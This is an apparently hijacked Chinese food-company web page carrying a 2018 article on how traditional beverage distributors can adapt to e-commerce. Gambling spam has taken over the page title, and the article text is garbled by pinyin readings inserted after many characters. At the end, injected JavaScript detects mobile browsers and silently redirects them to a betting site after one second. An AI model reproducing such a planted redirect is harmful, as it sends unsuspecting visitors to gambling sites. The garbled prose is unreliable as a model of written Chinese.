ag8游戏登陆

欢迎来到(dao)ag8游戏登陆!

公司服(fu)务监(jian)督电话(hua):0371—65861900、15093090607

联系我们

企业名称(cheng):河南郑牛食品有限公司

联系(xi)人:姜经(jing)理(li)

电   话:15093090607 

电话:0371-65861800、65861900     

地区邮编:450008

电子(zi)邮件(jian):1751412729@qq.com

网址:foggmgt.com

营销中心(xin):郑(zheng)州(zhou)市花(hua)园路115号3楼(lou)

厂区地址:郑(zheng)州市(shi)二(er)七(qi)区马寨产业集聚区先锋(feng)路6号


河南饮料:传统经销商的三大出路!

您的当前位置: 首 页 >> ag8游戏登陆 >> 行业新闻

河南饮料:传统经销商的三大出路!

发布日期:2018-10-12 作者: 点击:


十(shi)年前(qian),电子商(shang)务开(kai)始进入千家(jia)万户,一句渠(qu)道(dao)将死,平地惊动了(le)所有经销商(shang)的(de)奶(nai)酪,似乎(hu)整个行业(ye)进入了(le)全面衰落时(shi)代。十(shi)年后(hou),经销商(shang)的(de)心境仍然这么脆落,永(yong)远处于不安中,随时(shi)准备转变中,但似乎(hu)永(yong)远没找到(dao)合适的(de)路。


渠道的变迁

我们知道(dao),中(zhong)国(guo)(guo)的(de)(de)(de)市(shi)场(chang)经济是从计划经济的(de)(de)(de)供销(xiao)(xiao)(xiao)时代开始的(de)(de)(de),供销(xiao)(xiao)(xiao)科(ke)是中(zhong)国(guo)(guo)业务员人开始,随着市(shi)场(chang)竞争的(de)(de)(de)加(jia)剧,供销(xiao)(xiao)(xiao)演变(bian)为(wei)营销(xiao)(xiao)(xiao),营销(xiao)(xiao)(xiao)又演化出(chu)销(xiao)(xiao)(xiao)售(shou)与市(shi)场(chang),由于中(zhong)国(guo)(guo)的(de)(de)(de)幅员辽阔,各地区生活习惯大为(wei)不同,产(chan)品销(xiao)(xiao)(xiao)售(shou)受不同的(de)(de)(de)地区影(ying)响(xiang)极(ji)大,渠道(dao)战线空前的(de)(de)(de)长(zhang),从总代、到市(shi)代、到各级经销(xiao)(xiao)(xiao)商、分销(xiao)(xiao)(xiao)商、批发部,再到零(ling)售(shou)终端(duan),所以(yi)中(zhong)国(guo)(guo)的(de)(de)(de)销(xiao)(xiao)(xiao)售(shou)渠道(dao)是世界上最(zui)复(fu)杂(za)最(zui)多(duo)样的(de)(de)(de)国(guo)(guo)家(jia)。这几年由于企业对市(shi)场(chang)掌控意识的(de)(de)(de)增强,渠道(dao)线越(yue)来越(yue)短(duan),所谓扁平(ping)化改造,从厂家(jia)直接到经销(xiao)(xiao)(xiao)商再到零(ling)售(shou)终端(duan),成(cheng)为(wei)趋势。

 

电商(shang)的退潮(chao)

随着(zhe)电子(zi)商(shang)务的(de)(de)兴起,从2005年(nian)开始,一大(da)批做(zuo)传(chuan)统渠(qu)道(dao)的(de)(de)厂家和经销商(shang)做(zuo)起了电子(zi)商(shang)务、开淘宝店,也(ye)有成功者一夜暴富(fu),于是一拥而起,开网店仿佛成为企业(ye)营(ying)销的(de)(de)唯一救(jiu)命稻草,天下(xia)无电不(bu)商(shang),10年(nian)来(lai)退潮之(zhi)后,能够成功生活在海上的(de)(de),仍然只占少数,对(dui)于大(da)多数企业(ye)来(lai)说,电商(shang)没有增加(jia)多少销量(liang),但(dan)成本(ben)是实实在在付出了,学(xue)费是真真切切地交去了,但(dan)对(dui)企业(ye)的(de)(de)成长似乎(hu)并没有那么的(de)(de)突出。


电子商务最大(da)的(de)优势有三(san)点:丰富的(de)产品,全国的(de)物流,低廉的(de)价格(ge)。而传(chuan)统经(jing)销(xiao)商,也相应拥有三(san)大(da)优势:本(ben)地(di)渠道(dao)、本(ben)地(di)配送、源头产品与(yu)价格(ge)。传(chuan)统经(jing)销(xiao)商要(yao)想进行互联(lian)网化(hua)转型,就要(yao)充分(fen)利用好自身的(de)三(san)大(da)优势。

传统(tong)经销商的三大出路


出路一,本(ben)地社(she)区配(pei)送平台。网上下单,网下配(pei)送。

电(dian)子商(shang)务最(zui)大(da)(da)的便利,是(shi)送(song)货(huo)(huo)上(shang)门,但是(shi)异地送(song)货(huo)(huo)总是(shi)拼不过本(ben)地送(song)货(huo)(huo)效率(lv)高,而这(zhei)恰恰是(shi)本(ben)地经(jing)销商(shang)的强项,特别是(shi)粮、油等即(ji)用、量(liang)贩(fan)式产品。价(jia)格也是(shi)最(zui)大(da)(da)优(you)势,所以理(li)应充分利用或放大(da)(da)这(zhei)个优(you)势。一家(jia)(jia)(jia)经(jing)销商(shang)的产品资源也许不够丰富,二家(jia)(jia)(jia)、三家(jia)(jia)(jia)、五家(jia)(jia)(jia)经(jing)销商(shang)联合,那就足够支(zhi)撑。


如果横向联合(he)有(you)(you)难度,不妨可以借(jie)助一些招(zhao)商(shang)平(ping)(ping)台,接(jie)受更(geng)多的厂家代理权,这些平(ping)(ping)台有(you)(you)大量的优秀厂家面向全国招(zhao)商(shang),快消(xiao)品、日用(yong)品、……,不仅仅招(zhao)商(shang),还有(you)(you)高额奖(jiang)励(li),源(yuan)源(yuan)不断地补充和优化经销商(shang)的产品与利(li)润结构。


出路二,进(jin)行互联网运(yun)营改(gai)造。即(ji)时(shi)沟通,实(shi)时(shi)处理(li)。

传统经销商(shang)最传统的(de)(de)管理办法,就是老(lao)板(ban)(ban)(ban)电(dian)话不(bu)停,客户骂(ma)声不(bu)停。何(he)意(yi)?传统经销商(shang)一般是老(lao)板(ban)(ban)(ban)打天(tian)下(xia),客户只(zhi)认老(lao)板(ban)(ban)(ban),一点(dian)小(xiao)事(shi)就找老(lao)板(ban)(ban)(ban),送(song)1箱货也找老(lao)板(ban)(ban)(ban),送(song)1000箱货也找老(lao)板(ban)(ban)(ban),这就是造成老(lao)板(ban)(ban)(ban)很(hen)忙,伙计却帮不(bu)上(shang),你想(xiang),老(lao)板(ban)(ban)(ban)的(de)(de)精(jing)力是有限(xian)的(de)(de),记忆也是有限(xian)的(de)(de),这效率可想(xiang)而知。


这完(wan)全可(ke)(ke)以用互联(lian)网运(yun)营系统解决,比如一些销(xiao)售管(guan)理平台(tai),客户管(guan)理平台(tai),十分智能。全国各地客户、终端、二批、甚至消者,都可(ke)(ke)以通(tong)过APP手机下单(dan),后台(tai)根据货款支(zhi)付情况(kuang)自(zi)动(dong)生(sheng)成订(ding)单(dan)传(chuan)达到仓(cang)(cang)储(chu),由仓(cang)(cang)储(chu)直接(jie)24小时配(pei)送(song)即(ji)可(ke)(ke),仓(cang)(cang)储(chu)库(ku)存设置(zhi)警报(bao),库(ku)存不足直接(jie)生(sheng)成向厂家要(yao)货订(ding)单(dan),只要(yao)老板一键(jian)管(guan)理即(ji)可(ke)(ke),老板每天看(kan)看(kan)报(bao)表即(ji)可(ke)(ke)掌控一切。这样的经销(xiao)商,你认为还是传(chuan)统吗(ma)?


出路三,优(you)化产品结构,引入优(you)秀产品。导入互联网营销思维。

其实,互联(lian)(lian)网(wang)(wang)转型,也并不(bu)一(yi)定要做一(yi)个互联(lian)(lian)网(wang)(wang)产品出来,有(you)时候(hou)思维才是(shi)(shi)起决定性作用(yong)。互联(lian)(lian)网(wang)(wang)转型也并不(bu)是(shi)(shi)做个网(wang)(wang)站,开(kai)个微信帐号就(jiu)是(shi)(shi)互联(lian)(lian)网(wang)(wang)化了,如果你真的只是(shi)(shi)在做这些表面文(wen)章(zhang),我(wo)可要跟你急了。


在中国,大部分(fen)传统(tong)经(jing)销(xiao)(xiao)(xiao)商(shang)手上的(de)代(dai)理(li)产(chan)品(pin),经(jing)过(guo)几年(nian)(nian),要么成(cheng)(cheng)为(wei)畅(chang)销(xiao)(xiao)(xiao)产(chan)品(pin),为(wei)经(jing)销(xiao)(xiao)(xiao)商(shang)带来源(yuan)源(yuan)不断的(de)现金流(liu),要么消沉(chen)下(xia)去,变(bian)成(cheng)(cheng)慢销(xiao)(xiao)(xiao)产(chan)品(pin),成(cheng)(cheng)为(wei)经(jing)销(xiao)(xiao)(xiao)商(shang)的(de)鸡肋,但再畅(chang)销(xiao)(xiao)(xiao)的(de)产(chan)品(pin)也不会永远畅(chang)销(xiao)(xiao)(xiao),过(guo)几年(nian)(nian)江山(shan)代(dai)有新(xin)品(pin)出,畅(chang)销(xiao)(xiao)(xiao)也会变(bian)得滞销(xiao)(xiao)(xiao)和过(guo)时。这(zhei)个时候,每年(nian)(nian)要适时对(dui)代(dai)理(li)产(chan)品(pin)进(jin)行结(jie)构性(xing)调整,应该成(cheng)(cheng)为(wei)经(jing)销(xiao)(xiao)(xiao)商(shang)的(de)定律。

 


本文网址:http://foggmgt.com/news/400.html

相关标签:河南饮料

最近浏览:

关于花花牛
招商加盟
诚聘精英
联系我们

    联系人:姜经理

    电(dian)   话:15093090607  

    电话(hua):0371-65861800、65861900    

    地区(qu)邮(you)编(bian):450008

    电子邮件(jian):1751412729@qq.com

    网址:foggmgt.com

    营销中心:郑州市花(hua)园路115号3楼

    厂(chang)区地(di)址(zhi):郑州市二(er)七(qi)区马寨(zhai)产(chan)业集聚区先(xian)锋(feng)路6号


    河南饮料

              关(guan)注获(huo)取更多

Copyright (C) 2017 foggmgt.com All Rights Reserved. 版权所(suo)有:河南郑牛食品有限公司   技(ji)术支持:

在线客(ke)服
二维码

扫描二维码

分享 一键分享
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();